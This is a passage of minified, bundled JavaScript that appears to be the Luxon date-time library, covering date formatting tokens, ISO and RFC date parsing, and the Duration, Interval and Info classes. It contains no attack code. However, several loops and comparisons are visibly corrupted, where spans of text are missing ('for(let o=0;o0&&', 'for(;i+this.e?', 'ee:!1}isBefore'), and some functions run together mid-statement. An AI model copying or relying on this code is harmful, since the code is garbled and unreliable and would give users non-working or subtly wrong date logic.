n=Math.trunc(Math.abs(t/60)),r=Math.trunc(Math.abs(t%60)),i=t>=0?"+":"-";switch(e){case"short":return`${i}${mt(n,2)}:${mt(r,2)}`;case"narrow":return`${i}${n}${r>0?`:${r}`:""}`;case"techie":return`${i}${mt(n,2)}${mt(r,2)}`;default:throw new RangeError(`Value format ${e} is out of range for property format`)}}function lf(t){return aC(t,["hour","minute","second","millisecond"])}var oj=["January","February","March","April","May","June","July","August","September","October","November","December"],X0=["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],aj=["J","F","M","A","M","J","J","A","S","O","N","D"];function L0(t){switch(t){case"narrow":return[...aj];case"short":return[...X0];case"long":return[...oj];case"numeric":return["1","2","3","4","5","6","7","8","9","10","11","12"];case"2-digit":return["01","02","03","04","05","06","07","08","09","10","11","12"];default:return null}}var eb=["Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"],tb=["Mon","Tue","Wed","Thu","Fri","Sat","Sun"],lj=["M","T","W","T","F","S","S"];function B0(t){switch(t){case"narrow":return[...lj];case"short":return[...tb];case"long":return[...eb];case"numeric":return["1","2","3","4","5","6","7"];default:return null}}var $0=["AM","PM"],cj=["Before Christ","Anno Domini"],uj=["BC","AD"],fj=["B","A"];function U0(t){switch(t){case"narrow":return[...fj];case"short":return[...uj];case"long":return[...cj];default:return null}}function lC(t){return $0[t.hour<12?0:1]}function cC(t,e){return B0(e)[t.weekday-1]}function uC(t,e){return L0(e)[t.month-1]}function fC(t,e){return U0(e)[t.year<0?0:1]}function B_(t,e,n="always",r=!1){let i={years:["year","yr."],quarters:["quarter","qtr."],months:["month","mo."],weeks:["week","wk."],days:["day","day","days"],hours:["hour","hr."],minutes:["minute","min."],seconds:["second","sec."]},s=["hours","minutes","seconds"].indexOf(t)===-1;if(n==="auto"&&s){let f=t==="days";switch(e){case 1:return f?"tomorrow":`next ${i[t][0]}`;case-1:return f?"yesterday":`last ${i[t][0]}`;case 0:return f?"today":`this ${i[t][0]}`;default:}}let o=Object.is(e,-0)||e<0,a=Math.abs(e),l=a===1,c=i[t],u=r?l?c[1]:c[2]||c[1]:l?i[t][0]:t;return o?`${a} ${u} ago`:`in ${a} ${u}`}function hC(t,e){let n="";for(let r of t)r.literal?n+=r.val:n+=e(r.val);return n}var hj={D:Rs,DD:Lu,DDD:Bu,DDDD:$u,t:Uu,tt:ju,ttt:qu,tttt:Vu,T:Hu,TT:Wu,TTT:Gu,TTTT:Qu,f:Ku,ff:Yu,fff:Xu,ffff:tf,F:Zu,FF:Ju,FFF:ef,FFFF:nf},Gt=class t{static create(e,n={}){return new t(e,n)}static parseFormat(e){let n=null,r="",i=!1,s=[];for(let o=0;o0&&s.push({literal:i||/^\s+$/.test(r),val:r}),n=null,r="",i=!i):i||a===n?r+=a:(r.length>0&&s.push({literal:/^\s+$/.test(r),val:r}),r=a,n=a)}return r.length>0&&s.push({literal:i||/^\s+$/.test(r),val:r}),s}static macroTokenToFormatOpts(e){return hj[e]}constructor(e,n){this.opts=n,this.loc=e,this.systemLoc=null}formatWithSystemDefault(e,n){return this.systemLoc===null&&(this.systemLoc=this.loc.redefaultToSystem()),this.systemLoc.dtFormatter(e,{...this.opts,...n}).format()}dtFormatter(e,n={}){return this.loc.dtFormatter(e,{...this.opts,...n})}formatDateTime(e,n){return this.dtFormatter(e,n).format()}formatDateTimeParts(e,n){return this.dtFormatter(e,n).formatToParts()}formatInterval(e,n){return this.dtFormatter(e.start,n).dtf.formatRange(e.start.toJSDate(),e.end.toJSDate())}resolvedOptions(e,n){return this.dtFormatter(e,n).resolvedOptions()}num(e,n=0){if(this.opts.forceSimple)return mt(e,n);let r={...this.opts};return n>0&&(r.padTo=n),this.loc.numberFormatter(r).format(e)}formatDateTimeFromString(e,n){let r=this.loc.listingMode()==="en",i=this.loc.outputCalendar&&this.loc.outputCalendar!=="gregory",s=(d,p)=>this.loc.extract(e,d,p),o=d=>e.isOffsetFixed&&e.offset===0&&d.allowZ?"Z":e.isValid?e.zone.formatOffset(e.ts,d.format):"",a=()=>r?lC(e):s({hour:"numeric",hourCycle:"h12"},"dayperiod"),l=(d,p)=>r?uC(e,d):s(p?{month:d}:{month:d,day:"numeric"},"month"),c=(d,p)=>r?cC(e,d):s(p?{weekday:d}:{weekday:d,month:"long",day:"numeric"},"weekday"),u=d=>{let p=t.macroTokenToFormatOpts(d);return p?this.formatWithSystemDefault(e,p):d},f=d=>r?fC(e,d):s({era:d},"era"),h=d=>{switch(d){case"S":return this.num(e.millisecond);case"u":case"SSS":return this.num(e.millisecond,3);case"s":return this.num(e.second);case"ss":return this.num(e.second,2);case"uu":return this.num(Math.floor(e.millisecond/10),2);case"uuu":return this.num(Math.floor(e.millisecond/100));case"m":return this.num(e.minute);case"mm":return this.num(e.minute,2);case"h":return this.num(e.hour%12===0?12:e.hour%12);case"hh":return this.num(e.hour%12===0?12:e.hour%12,2);case"H":return this.num(e.hour);case"HH":return this.num(e.hour,2);case"Z":return o({format:"narrow",allowZ:this.opts.allowZ});case"ZZ":return o({format:"short",allowZ:this.opts.allowZ});case"ZZZ":return o({format:"techie",allowZ:this.opts.allowZ});case"ZZZZ":return e.zone.offsetName(e.ts,{format:"short",locale:this.loc.locale});case"ZZZZZ":return e.zone.offsetName(e.ts,{format:"long",locale:this.loc.locale});case"z":return e.zoneName;case"a":return a();case"d":return i?s({day:"numeric"},"day"):this.num(e.day);case"dd":return i?s({day:"2-digit"},"day"):this.num(e.day,2);case"c":return this.num(e.weekday);case"ccc":return c("short",!0);case"cccc":return c("long",!0);case"ccccc":return c("narrow",!0);case"E":return this.num(e.weekday);case"EEE":return c("short",!1);case"EEEE":return c("long",!1);case"EEEEE":return c("narrow",!1);case"L":return i?s({month:"numeric",day:"numeric"},"month"):this.num(e.month);case"LL":return i?s({month:"2-digit",day:"numeric"},"month"):this.num(e.month,2);case"LLL":return l("short",!0);case"LLLL":return l("long",!0);case"LLLLL":return l("narrow",!0);case"M":return i?s({month:"numeric"},"month"):this.num(e.month);case"MM":return i?s({month:"2-digit"},"month"):this.num(e.month,2);case"MMM":return l("short",!1);case"MMMM":return l("long",!1);case"MMMMM":return l("narrow",!1);case"y":return i?s({year:"numeric"},"year"):this.num(e.year);case"yy":return i?s({year:"2-digit"},"year"):this.num(e.year.toString().slice(-2),2);case"yyyy":return i?s({year:"numeric"},"year"):this.num(e.year,4);case"yyyyyy":return i?s({year:"numeric"},"year"):this.num(e.year,6);case"G":return f("short");case"GG":return f("long");case"GGGGG":return f("narrow");case"kk":return this.num(e.weekYear.toString().slice(-2),2);case"kkkk":return this.num(e.weekYear,4);case"W":return this.num(e.weekNumber);case"WW":return this.num(e.weekNumber,2);case"n":return this.num(e.localWeekNumber);case"nn":return this.num(e.localWeekNumber,2);case"ii":return this.num(e.localWeekYear.toString().slice(-2),2);case"iiii":return this.num(e.localWeekYear,4);case"o":return this.num(e.ordinal);case"ooo":return this.num(e.ordinal,3);case"q":return this.num(e.quarter);case"qq":return this.num(e.quarter,2);case"X":return this.num(Math.floor(e.ts/1e3));case"x":return this.num(e.ts);default:return u(d)}};return hC(t.parseFormat(n),h)}formatDurationFromString(e,n){let r=l=>{switch(l[0]){case"S":return"millisecond";case"s":return"second";case"m":return"minute";case"h":return"hour";case"d":return"day";case"w":return"week";case"M":return"month";case"y":return"year";default:return null}},i=l=>c=>{let u=r(c);return u?this.num(l.get(u),c.length):c},s=t.parseFormat(n),o=s.reduce((l,{literal:c,val:u})=>c?l:l.concat(u),[]),a=e.shiftTo(...o.map(r).filter(l=>l));return hC(s,i(a))}};m();var mC=/[A-Za-z_+-]{1,256}(?::?\/[A-Za-z0-9_+-]{1,256}(?:\/[A-Za-z0-9_+-]{1,256})?)?/;function Nl(...t){let e=t.reduce((n,r)=>n+r.source,"");return RegExp(`^${e}$`)}function Ml(...t){return e=>t.reduce(([n,r,i],s)=>{let[o,a,l]=s(e,i);return[{...n,...o},a||r,l]},[{},null,1]).slice(0,2)}function Rl(t,...e){if(t==null)return[null,null];for(let[n,r]of e){let i=n.exec(t);if(i)return r(i)}return[null,null]}function pC(...t){return(e,n)=>{let r={},i;for(i=0;id!==void 0&&(p||d&&u)?-d:d;return[{years:h(Us(n)),months:h(Us(r)),weeks:h(Us(i)),days:h(Us(s)),hours:h(Us(o)),minutes:h(Us(a)),seconds:h(Us(l),l==="-0"),milliseconds:h(cf(c),f)}]}var Ej={GMT:0,EDT:-4*60,EST:-5*60,CDT:-5*60,CST:-6*60,MDT:-6*60,MST:-7*60,PDT:-7*60,PST:-8*60};function ib(t,e,n,r,i,s,o){let a={year:e.length===2?uf(ts(e)):ts(e),month:X0.indexOf(n)+1,day:ts(r),hour:ts(i),minute:ts(s)};return o&&(a.second=ts(o)),t&&(a.weekday=t.length>3?eb.indexOf(t)+1:tb.indexOf(t)+1),a}var _j=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|(?:([+-]\d\d)(\d\d)))$/;function Cj(t){let[,e,n,r,i,s,o,a,l,c,u,f]=t,h=ib(e,i,r,n,s,o,a),d;return l?d=Ej[l]:c?d=0:d=ta(u,f),[h,new Ht(d)]}function Tj(t){return t.replace(/\([^()]*\)|[\n\t]/g," ").replace(/(\s\s+)/g," ").trim()}var Fj=/^(Mon|Tue|Wed|Thu|Fri|Sat|Sun), (\d\d) (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) (\d{4}) (\d\d):(\d\d):(\d\d) GMT$/,Ij=/^(Monday|Tuesday|Wednesday|Thursday|Friday|Saturday|Sunday), (\d\d)-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(\d\d) (\d\d):(\d\d):(\d\d) GMT$/,Aj=/^(Mon|Tue|Wed|Thu|Fri|Sat|Sun) (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) ( \d|\d\d) (\d\d):(\d\d):(\d\d) (\d{4})$/;function dC(t){let[,e,n,r,i,s,o,a]=t;return[ib(e,i,r,n,s,o,a),Ht.utcInstance]}function Oj(t){let[,e,n,r,i,s,o,a]=t;return[ib(e,a,n,r,i,s,o),Ht.utcInstance]}var Pj=Nl(mj,rb),Nj=Nl(pj,rb),Mj=Nl(gj,rb),Rj=Nl(yC),bC=Ml(kj,zl,ff,hf),zj=Ml(yj,zl,ff,hf),Lj=Ml(wj,zl,ff,hf),Bj=Ml(zl,ff,hf);function vC(t){return Rl(t,[Pj,bC],[Nj,zj],[Mj,Lj],[Rj,Bj])}function kC(t){return Rl(Tj(t),[_j,Cj])}function xC(t){return Rl(t,[Fj,dC],[Ij,dC],[Aj,Oj])}function SC(t){return Rl(t,[Sj,Dj])}var $j=Ml(zl);function DC(t){return Rl(t,[xj,$j])}var Uj=Nl(bj,vj),jj=Nl(wC),qj=Ml(zl,ff,hf);function EC(t){return Rl(t,[Uj,bC],[jj,qj])}var _C="Invalid Duration",TC={weeks:{days:7,hours:7*24,minutes:7*24*60,seconds:7*24*60*60,milliseconds:7*24*60*60*1e3},days:{hours:24,minutes:24*60,seconds:24*60*60,milliseconds:24*60*60*1e3},hours:{minutes:60,seconds:60*60,milliseconds:60*60*1e3},minutes:{seconds:60,milliseconds:60*1e3},seconds:{milliseconds:1e3}},Vj={years:{quarters:4,months:12,weeks:52,days:365,hours:365*24,minutes:365*24*60,seconds:365*24*60*60,milliseconds:365*24*60*60*1e3},quarters:{months:3,weeks:13,days:91,hours:91*24,minutes:91*24*60,seconds:91*24*60*60,milliseconds:91*24*60*60*1e3},months:{weeks:4,days:30,hours:30*24,minutes:30*24*60,seconds:30*24*60*60,milliseconds:30*24*60*60*1e3},...TC},Fr=146097/400,Ll=146097/4800,Hj={years:{quarters:4,months:12,weeks:Fr/7,days:Fr,hours:Fr*24,minutes:Fr*24*60,seconds:Fr*24*60*60,milliseconds:Fr*24*60*60*1e3},quarters:{months:3,weeks:Fr/28,days:Fr/4,hours:Fr*24/4,minutes:Fr*24*60/4,seconds:Fr*24*60*60/4,milliseconds:Fr*24*60*60*1e3/4},months:{weeks:Ll/7,days:Ll,hours:Ll*24,minutes:Ll*24*60,seconds:Ll*24*60*60,milliseconds:Ll*24*60*60*1e3},...TC},ia=["years","quarters","months","weeks","days","hours","minutes","seconds","milliseconds"],Wj=ia.slice(0).reverse();function js(t,e,n=!1){let r={values:n?e.values:{...t.values,...e.values||{}},loc:t.loc.clone(e.loc),conversionAccuracy:e.conversionAccuracy||t.conversionAccuracy,matrix:e.matrix||t.matrix};return new pt(r)}function FC(t,e){let n=e.milliseconds??0;for(let r of Wj.slice(1))e[r]&&(n+=e[r]*t[r].milliseconds);return n}function CC(t,e){let n=FC(t,e)<0?-1:1;ia.reduceRight((r,i)=>{if(ye(e[i]))return r;if(r){let s=e[r]*n,o=t[i][r],a=Math.floor(s/o);e[i]+=a*n,e[r]-=a*o*n}return i},null),ia.reduce((r,i)=>{if(ye(e[i]))return r;if(r){let s=e[r]%1;e[r]-=s,e[i]+=s*t[r][i]}return i},null)}function Gj(t){let e={};for(let[n,r]of Object.entries(t))r!==0&&(e[n]=r);return e}var pt=class t{constructor(e){let n=e.conversionAccuracy==="longterm"||!1,r=n?Hj:Vj;e.matrix&&(r=e.matrix),this.values=e.values,this.loc=e.loc||Qe.create(),this.conversionAccuracy=n?"longterm":"casual",this.invalid=e.invalid||null,this.matrix=r,this.isLuxonDuration=!0}static fromMillis(e,n){return t.fromObject({milliseconds:e},n)}static fromObject(e,n={}){if(e==null||typeof e!="object")throw new Dt(`Duration.fromObject: argument expected to be an object, got ${e===null?"null":typeof e}`);return new t({values:Ol(e,t.normalizeUnit),loc:Qe.fromObject(n),conversionAccuracy:n.conversionAccuracy,matrix:n.matrix})}static fromDurationLike(e){if(Xr(e))return t.fromMillis(e);if(t.isDuration(e))return e;if(typeof e=="object")return t.fromObject(e);throw new Dt(`Unknown duration argument ${e} of type ${typeof e}`)}static fromISO(e,n){let[r]=SC(e);return r?t.fromObject(r,n):t.invalid("unparsable",`the input "${e}" can't be parsed as ISO 8601`)}static fromISOTime(e,n){let[r]=DC(e);return r?t.fromObject(r,n):t.invalid("unparsable",`the input "${e}" can't be parsed as ISO 8601`)}static invalid(e,n=null){if(!e)throw new Dt("need to specify a reason the Duration is invalid");let r=e instanceof Wt?e:new Wt(e,n);if(Ge.throwOnInvalid)throw new _m(r);return new t({invalid:r})}static normalizeUnit(e){let n={year:"years",years:"years",quarter:"quarters",quarters:"quarters",month:"months",months:"months",week:"weeks",weeks:"weeks",day:"days",days:"days",hour:"hours",hours:"hours",minute:"minutes",minutes:"minutes",second:"seconds",seconds:"seconds",millisecond:"milliseconds",milliseconds:"milliseconds"}[e&&e.toLowerCase()];if(!n)throw new Cl(e);return n}static isDuration(e){return e&&e.isLuxonDuration||!1}get locale(){return this.isValid?this.loc.locale:null}get numberingSystem(){return this.isValid?this.loc.numberingSystem:null}toFormat(e,n={}){let r={...n,floor:n.round!==!1&&n.floor!==!1};return this.isValid?Gt.create(this.loc,r).formatDurationFromString(this,e):_C}toHuman(e={}){if(!this.isValid)return _C;let n=ia.map(r=>{let i=this.values[r];return ye(i)?null:this.loc.numberFormatter({style:"unit",unitDisplay:"long",...e,unit:r.slice(0,-1)}).format(i)}).filter(r=>r);return this.loc.listFormatter({type:"conjunction",style:e.listStyle||"narrow",...e}).format(n)}toObject(){return this.isValid?{...this.values}:{}}toISO(){if(!this.isValid)return null;let e="P";return this.years!==0&&(e+=this.years+"Y"),(this.months!==0||this.quarters!==0)&&(e+=this.months+this.quarters*3+"M"),this.weeks!==0&&(e+=this.weeks+"W"),this.days!==0&&(e+=this.days+"D"),(this.hours!==0||this.minutes!==0||this.seconds!==0||this.milliseconds!==0)&&(e+="T"),this.hours!==0&&(e+=this.hours+"H"),this.minutes!==0&&(e+=this.minutes+"M"),(this.seconds!==0||this.milliseconds!==0)&&(e+=Fl(this.seconds+this.milliseconds/1e3,3)+"S"),e==="P"&&(e+="T0S"),e}toISOTime(e={}){if(!this.isValid)return null;let n=this.toMillis();return n<0||n>=864e5?null:(e={suppressMilliseconds:!1,suppressSeconds:!1,includePrefix:!1,format:"extended",...e,includeOffset:!1},$e.fromMillis(n,{zone:"UTC"}).toISOTime(e))}toJSON(){return this.toISO()}toString(){return this.toISO()}[Symbol.for("nodejs.util.inspect.custom")](){return this.isValid?`Duration { values: ${JSON.stringify(this.values)} }`:`Duration { Invalid, reason: ${this.invalidReason} }`}toMillis(){return this.isValid?FC(this.matrix,this.values):NaN}valueOf(){return this.toMillis()}plus(e){if(!this.isValid)return this;let n=t.fromDurationLike(e),r={};for(let i of ia)($s(n.values,i)||$s(this.values,i))&&(r[i]=n.get(i)+this.get(i));return js(this,{values:r},!0)}minus(e){if(!this.isValid)return this;let n=t.fromDurationLike(e);return this.plus(n.negate())}mapUnits(e){if(!this.isValid)return this;let n={};for(let r of Object.keys(this.values))n[r]=J0(e(this.values[r],r));return js(this,{values:n},!0)}get(e){return this[t.normalizeUnit(e)]}set(e){if(!this.isValid)return this;let n={...this.values,...Ol(e,t.normalizeUnit)};return js(this,{values:n})}reconfigure({locale:e,numberingSystem:n,conversionAccuracy:r,matrix:i}={}){let o={loc:this.loc.clone({locale:e,numberingSystem:n}),matrix:i,conversionAccuracy:r};return js(this,o)}as(e){return this.isValid?this.shiftTo(e).get(e):NaN}normalize(){if(!this.isValid)return this;let e=this.toObject();return CC(this.matrix,e),js(this,{values:e},!0)}rescale(){if(!this.isValid)return this;let e=Gj(this.normalize().shiftToAll().toObject());return js(this,{values:e},!0)}shiftTo(...e){if(!this.isValid)return this;if(e.length===0)return this;e=e.map(o=>t.normalizeUnit(o));let n={},r={},i=this.toObject(),s;for(let o of ia)if(e.indexOf(o)>=0){s=o;let a=0;for(let c in r)a+=this.matrix[c][o]*r[c],r[c]=0;Xr(i[o])&&(a+=i[o]);let l=Math.trunc(a);n[o]=l,r[o]=(a*1e3-l*1e3)/1e3}else Xr(i[o])&&(r[o]=i[o]);for(let o in r)r[o]!==0&&(n[s]+=o===s?r[o]:r[o]/this.matrix[s][o]);return CC(this.matrix,n),js(this,{values:n},!0)}shiftToAll(){return this.isValid?this.shiftTo("years","months","weeks","days","hours","minutes","seconds","milliseconds"):this}negate(){if(!this.isValid)return this;let e={};for(let n of Object.keys(this.values))e[n]=this.values[n]===0?0:-this.values[n];return js(this,{values:e},!0)}get years(){return this.isValid?this.values.years||0:NaN}get quarters(){return this.isValid?this.values.quarters||0:NaN}get months(){return this.isValid?this.values.months||0:NaN}get weeks(){return this.isValid?this.values.weeks||0:NaN}get days(){return this.isValid?this.values.days||0:NaN}get hours(){return this.isValid?this.values.hours||0:NaN}get minutes(){return this.isValid?this.values.minutes||0:NaN}get seconds(){return this.isValid?this.values.seconds||0:NaN}get milliseconds(){return this.isValid?this.values.milliseconds||0:NaN}get isValid(){return this.invalid===null}get invalidReason(){return this.invalid?this.invalid.reason:null}get invalidExplanation(){return this.invalid?this.invalid.explanation:null}equals(e){if(!this.isValid||!e.isValid||!this.loc.equals(e.loc))return!1;function n(r,i){return r===void 0||r===0?i===void 0||i===0:r===i}for(let r of ia)if(!n(this.values[r],e.values[r]))return!1;return!0}};m();var Bl="Invalid Interval";function Qj(t,e){return!t||!t.isValid?ns.invalid("missing or invalid start"):!e||!e.isValid?ns.invalid("missing or invalid end"):ee:!1}isBefore(e){return this.isValid?this.e<=e:!1}contains(e){return this.isValid?this.s<=e&&this.e>e:!1}set({start:e,end:n}={}){return this.isValid?t.fromDateTimes(e||this.s,n||this.e):this}splitAt(...e){if(!this.isValid)return[];let n=e.map($l).filter(o=>this.contains(o)).sort((o,a)=>o.toMillis()-a.toMillis()),r=[],{s:i}=this,s=0;for(;i+this.e?this.e:o;r.push(t.fromDateTimes(i,a)),i=a,s+=1}return r}splitBy(e){let n=pt.fromDurationLike(e);if(!this.isValid||!n.isValid||n.as("milliseconds")===0)return[];let{s:r}=this,i=1,s,o=[];for(;rl*i));s=+a>+this.e?this.e:a,o.push(t.fromDateTimes(r,s)),r=s,i+=1}return o}divideEqually(e){return this.isValid?this.splitBy(this.length()/e).slice(0,e):[]}overlaps(e){return this.e>e.s&&this.s=e.e:!1}equals(e){return!this.isValid||!e.isValid?!1:this.s.equals(e.s)&&this.e.equals(e.e)}intersection(e){if(!this.isValid)return this;let n=this.s>e.s?this.s:e.s,r=this.e=r?null:t.fromDateTimes(n,r)}union(e){if(!this.isValid)return this;let n=this.se.e?this.e:e.e;return t.fromDateTimes(n,r)}static merge(e){let[n,r]=e.sort((i,s)=>i.s-s.s).reduce(([i,s],o)=>s?s.overlaps(o)||s.abutsStart(o)?[i,s.union(o)]:[i.concat([s]),o]:[i,o],[[],null]);return r&&n.push(r),n}static xor(e){let n=null,r=0,i=[],s=e.map(l=>[{time:l.s,type:"s"},{time:l.e,type:"e"}]),o=Array.prototype.concat(...s),a=o.sort((l,c)=>l.time-c.time);for(let l of a)r+=l.type==="s"?1:-1,r===1?n=l.time:(n&&+n!=+l.time&&i.push(t.fromDateTimes(n,l.time)),n=null);return t.merge(i)}difference(...e){return t.xor([this].concat(e)).map(n=>this.intersection(n)).filter(n=>n&&!n.isEmpty())}toString(){return this.isValid?`[${this.s.toISO()} \u2013 ${this.e.toISO()})`:Bl}[Symbol.for("nodejs.util.inspect.custom")](){return this.isValid?`Interval { start: ${this.s.toISO()}, end: ${this.e.toISO()} }`:`Interval { Invalid, reason: ${this.invalidReason} }`}toLocaleString(e=Rs,n={}){return this.isValid?Gt.create(this.s.loc.clone(n),e).formatInterval(this):Bl}toISO(e){return this.isValid?`${this.s.toISO(e)}/${this.e.toISO(e)}`:Bl}toISODate(){return this.isValid?`${this.s.toISODate()}/${this.e.toISODate()}`:Bl}toISOTime(e){return this.isValid?`${this.s.toISOTime(e)}/${this.e.toISOTime(e)}`:Bl}toFormat(e,{separator:n=" \u2013 "}={}){return this.isValid?`${this.s.toFormat(e)}${n}${this.e.toFormat(e)}`:Bl}toDuration(e,n){return this.isValid?this.e.diff(this.s,e,n):pt.invalid(this.invalidReason)}mapEndpoints(e){return t.fromDateTimes(e(this.s),e(this.e))}};m();var rs=class{static hasDST(e=Ge.defaultZone){let n=$e.now().setZone(e).set({month:12});return!e.isUniversal&&n.offset!==n.set({month:6}).offset}static isValidIANAZone(e){return an.isValidZone(e)}static normalizeZone(e){return Jr(e,Ge.defaultZone)}static getStartOfWeek({locale:e=null,locObj:n=null}={}){return(n||Qe.create(e)).getStartOfWeek()}static getMinimumDaysInFirstWeek({locale:e=null,locObj:n=null}={}){return(n||Qe.create(e)).getMinDaysInFirstWeek()}static getWeekendWeekdays({locale:e=null,locObj:n=null}={}){return(n||Qe.create(e)).getWeekendDays().slice()}static months(e="long",{locale:n=null,numberingSystem:r=null,locObj:i=null,outputCalendar:s="gregory"}={}){return(i||Qe.create(n,r,s)).months(e)}static monthsFormat(e="long",{locale:n=null,numberingSystem:r=null,locObj:i=null,outputCalendar:s="gregory"}={}){return(i||Qe.create(n,r,s)).months(e,!0)}static weekdays(e="long",{locale:n=null,numberingSystem:r=null,locObj:i=null}={}){return(i||Qe.create(n,r,null)).weekdays(e)}static weekdaysFormat(e="long",{locale:n=null,numberingSystem:r=null,locObj:i=null}={}){return(i||Qe.create(n,r,null)).weekdays(e,!0)}static meridiems({locale:e=null}={}){return Qe.create(e).meridiems()}static eras(e="short",{locale:n=null}={}){return Qe.create(n,null,"gregory").eras(e)}static features(){return{relative:Im(),localeWeek:Am()}}};m();function IC(t,e){let n=i=>i.toUTC(0,{keepLocalTime:!0}).startOf("day").valueOf(),r=n(e)-n(t);return Math.floor(pt.fromMillis(r).as("days"))}function Kj(t,e,n){let r=[["years",(l,c)=>c.year-l.year],["quarters",(l,c)=>c.quarter-l.quarter+(c.year-l.year)*4],["months",(l,c)=>c.month-l.month+(c.year-l.year)*12],["weeks",(l,c)=>{let u=IC(l,c);return(u-u%7)/7}],["days",IC]],i={},s=t,o,a;for(let[l,c]of r)n.indexOf(l)>=0&&(o=l,i[l]=c(t,e),a=s.plus(i),a>e?(i[l]--,t=s.plus(i),t>e&&(a=t,i[l]--,t=s.plus(i))):t=a);return[t,i,a,o]}function AC(t,e,n,r){let[i,s,o,a]=Kj(t,e,n),l=e-i,c=n.filter(f=>["hours","minutes","seconds","milliseconds"].indexOf(f)>=0);c.length===0&&(o0?pt.fromMillis(l,r).shiftTo(...c).plus(u):u}m();var Zj="missing Intl.DateTimeFormat.formatToParts support";function Ye(t,e=n=>n){return{regex:t,deser:([n])=>e(j_(n))}}var Yj="\xA0",NC=`[ ${Yj}]`,MC=new RegExp(NC,"g");function Jj(t){return t.replace(/\./g,"\\.?").replace(MC,NC)}function OC(t){return t.replace(/\./g,"").replace(MC," ").toLowerCase()}function ei(t,e){return t===null?null:{regex:RegExp(t.map(Jj).join("|")),deser:([n])=>t.findIndex(r=>OC(n)===OC(r))+e}}function PC(t,e){return{regex:t,deser:([,n,r])=>ta(n,r),groups:e}}function Mm(t){return{regex:t,deser:([e])=>e}}function Xj(t){return t.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")}function eq(t,e){let n=Cr(e),r=Cr(e,"{2}"),i=Cr(e,"{3}"),s=Cr(e,"{4}"),o=Cr(e,"{6}"),a=Cr(e,"{1,2}"),l=Cr(e,"{1,3}"),c=Cr(e,"{1,6}"),u=Cr(e,"{1,9}"),f=Cr(e,"{2,4}"),h=Cr(e,"{4,6}"),d=y=>({regex:RegExp(Xj(y.val)),deser:([w])=>w,literal:!0}),g=(y=>{if(t.literal)return d(y);switch(y.val){case"G":return ei(e.eras("short"),0);case"GG":return ei(e.eras("long"),0);case"y":return Ye(c);case"yy":return Ye(f,uf);case"yyyy":return Ye(s);case"yyyyy":return Ye(h);case"yyyyyy":return Ye(o);case"M":return Ye(a);case"MM":return Ye(r);case"MMM":return ei(e.months("short",!0),1);case"MMMM":return ei(e.months("long",!0),1);case"L":return Ye(a);case"LL":return Ye(r);case"LLL":return ei(e.months("short",!1),1);case"LLLL":return ei(e.months("long",!1),1);case"d":return Ye(a);case"dd":return Ye(r);case"o":return Ye(l);case"ooo":return Ye(i);case"HH":return Ye(r);case"H":return Ye(a);case"hh":return Ye(r);case"h":return Ye(a);case"mm":return Ye(r);case"m":return Ye(a);case"q":return Ye(a);case"qq":return Ye(r);case"s":return Ye(a);case"ss":return Ye(r);case"S":return Ye(l);case"SSS":return Ye(i);case"u":return Mm(u);case"uu":return Mm(a);case"uuu":return Ye(n);case"a":return ei(e.meridiems(),0);case"kkkk":return Ye(s);case"kk":return Ye(f,uf);case"W":return Ye(a);case"WW":return Ye(r);case"E":case"c":return Ye(n);case"EEE":return ei(e.weekdays("short",!1),1);case"EEEE":return ei(e.weekdays("long",!1),1);case"ccc":return ei(e.weekdays("short",!0),1);case"cccc":return ei(e.weekdays("long",!0),1);case"Z":case"ZZ":return PC(new RegExp(`([+-]${a.source})(?::(${r.source}))?`),2);case"ZZZ":return PC(new RegExp(`([+-]${a.source})(${r.source})?`),2);case"z":return Mm(/[a-z_+-/]{1,256}?/i);case" ":return Mm(/[^\S\n\r]/);default:return d(y)}})(t)||{invalidReason:Zj};return g.token=t,g}var tq={year:{"2-digit":"yy",numeric:"yyyyy"},month:{numeric:"M","2-digit":"MM",short:"MMM",long:"MMMM"},day:{numeric:"d","2-digit":"dd"},weekday:{short:"EEE",long:"EEEE"},dayperiod:"a",dayPeriod:"a",hour12:{numeric:"h","2-digit":"hh"},hour24:{numeric:"H","2-digit":"HH"},minute:{numeric:"m","2-digit":"mm"},second:{numeric:"s","2-digit":"ss"},timeZoneName:{long:"ZZZZZ",short:"ZZZ"}};function nq(t,e,n){let{type:r,value:i}=t;if(r==="literal"){let l=/^\s+$/.test(i);return{literal:!l,val:l?" ":i}}let s=e[r],o=r;r==="hour"&&(e.hour12!=null?o=e.hour12?"hour12":"hour24":e.hourCycle!=null?e.hourCycle==="h11"||e.hourCycle==="h12"?o="hour12":o="hour24":o=n.hour12?"hour12":"hour24");let a=tq[o];if(typeof a=="object"&&(a=a[s]),a)return{literal:!1,val:a}}function rq(t){return[`^${t.map(n=>n.regex).reduce((n,r)=>`${n}(${r.source})`,"")}$`,t]}function iq(t,e,n){let r=t.match(e);if(r){let i={},s=1;for(let o in n)if($s(n,o)){let a=n[o],l=a.groups?a.groups+1:1;!a.literal&&a.token&&(i[a.token.val[0]]=a.deser(r.slice(s,s+l))),s+=l}return[r,i]}else return[r,{}]}function sq(t){let e=s=>{switch(s){case"S":return"millisecond";case"s":return"second";case"m":return"minute";case"h":case"H":return"hour";case"d":return"day";case"o":return"ordinal";case"L":case"M":return"month";case"y":return"year";case"E":case"c":return"weekday";case"W":return"weekNumber";case"k":return"weekYear";case"q":return"quarter";default:return null}},n=null,r;return ye(t.z)||(n=an.create(t.z)),ye(t.Z)||(n||(n=new Ht(t.Z)),r=t.Z),ye(t.q)||(t.M=(t.q-1)*3+1),ye(t.h)||(t.h<12&&t.a===1?t.h+=12:t.h===12&&t.a===0&&(t.h=0)),t.G===0&&t.y&&(t.y=-t.y),ye(t.u)||(t.S=cf(t.u)),[Object.keys(t).reduce((s,o)=>{let a=e(o);return a&&(s[a]=t[o]),s},{}),n,r]}var sb=null;function oq(){return sb||(sb=$e.fromMillis(1555555555555)),sb}function aq(t,e){if(t.literal)return t;let 